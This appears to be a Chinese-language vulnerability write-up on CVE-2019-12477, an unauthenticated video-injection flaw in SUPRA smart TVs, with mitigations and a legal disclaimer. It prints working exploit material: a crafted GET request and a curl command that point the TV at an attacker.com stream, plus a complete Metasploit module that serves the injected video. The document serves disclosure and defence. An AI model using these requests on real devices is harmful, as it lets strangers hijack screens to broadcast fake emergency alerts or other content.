挖洞经验丨看我如何玩转SUPRA智能云电视
字数 818 2025-08-18 11:38:48
SUPRA智能云电视远程视频插播漏洞分析(CVE-2019-12477)技术文档
漏洞概述
漏洞编号: CVE-2019-12477
影响设备: SUPRA智能云电视
影响范围: 主要销往俄罗斯、中国和阿联酋等国的设备
漏洞类型: 未授权远程视频插播
风险等级: 高危
发现者: Dhiraj Mishra
发现时间: 2019年
漏洞原理
SUPRA智能云电视的流媒体播放功能存在未授权访问漏洞,攻击者可利用该漏洞在无需任何认证的情况下,向目标电视设备注入任意视频流内容。
核心问题
openLiveURL()函数缺乏必要的认证授权机制- 流媒体控制接口
/remote/media_control未实施会话管理 - 允许通过简单GET请求修改当前播放内容
技术细节
漏洞接口
/remote/media_control?action=setUri&uri=[恶意视频流URL]
关键函数代码
function openLiveTV(url) {
$.get("/remote/media_control", {
m_action:'setUri',
m_uri:url,
m_type:'video/*'
}, function (data, textStatus){
if("success"==textStatus){
alert(textStatus);
} else {
alert(textStatus);
}
});
}
攻击向量
攻击者需要与目标电视处于同一局域网内,通过向电视发送特制HTTP请求实现视频插播。
漏洞利用
基本利用方式
直接构造GET请求:
http://[电视IP]/remote/media_control?action=setUri&uri=http://attacker.com/fake_broadcast_message.m3u8
使用cURL工具
curl -v -X GET "http://192.168.1.155/remote/media_control?action=setUri&uri=http://attacker.com/fake_broadcast_message.m3u8"
Metasploit模块利用
Metasploit框架已集成该漏洞的利用模块:
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer
def initialize(info = {})
super(update_info(info,
'Name' => 'Supra Smart Cloud TV Remote File Inclusion',
'Description' => %q{
This module exploits an unauthenticated remote file inclusion which
exists in Supra Smart Cloud TV.
},
'Author' => [
'Dhiraj Mishra' # Discovery, PoC, and module
],
'References' => [
['CVE', '2019-12477'],
['URL', 'https://www.inputzero.io/2019/06/hacking-smart-tv.html']
],
'License' => MSF_LICENSE
))
end
def run
start_service('Path' => '/')
print_status("Broadcasting to #{peer}")
res = send_request_cgi(
'method' => 'GET',
'uri' => '/remote/media_control',
'encode_params' => false,
'vars_get' => {
'action' => 'setUri',
'uri' => get_uri + 'epicsax.m3u8'
}
)
unless res && res.code == 200 && res.body.include?('OK')
print_error('Exploit failed')
return
end
print_good('Exploit successful')
print_status('Sleeping for 10s serving .m3u8 and .ts files...')
sleep(10)
end
def on_request_uri(cli, request)
dir = File.join(Msf::Config.data_directory, 'exploits', 'CVE-2019-12477')
files = {
'/epicsax.m3u8' => 'application/x-mpegURL',
'/epicsax0.ts' => 'video/MP2T',
'/epicsax1.ts' => 'video/MP2T',
'/epicsax2.ts' => 'video/MP2T',
'/epicsax3.ts' => 'video/MP2T',
'/epicsax4.ts' => 'video/MP2T'
}
file = request.uri
unless files.include?(file)
vprint_error("Sending 404 for #{file}")
return send_not_found(cli)
end
data = File.read(File.join(dir, file))
vprint_good("Sending #{file}")
send_response(cli, data, 'Content-Type' => files[file])
end
end
漏洞影响
- 虚假信息传播: 可插播伪造的紧急广播或新闻
- 社会恐慌: 可能被用于制造社会混乱
- 隐私侵犯: 可能被用于投放恶意内容
- 品牌声誉损害: 可能被用于损害厂商形象
防御措施
临时缓解方案
- 将SUPRA电视隔离到专用VLAN
- 在网络边界阻止对电视5555端口的访问
- 禁用电视的无线网络功能,使用有线连接
长期解决方案
- 厂商应实现接口认证机制
- 添加会话管理功能
- 对输入URL进行严格验证
- 实施CSRF保护
漏洞状态
截至文档编写时(基于2019年信息),该漏洞仍处于未修复状态,原因是研究人员无法联系到SUPRA电视供应商。
法律与道德声明
本技术文档仅用于安全研究目的,未经授权对他人设备进行测试或攻击是违法行为。安全研究人员应在法律允许范围内进行漏洞研究,并遵循负责任的披露原则。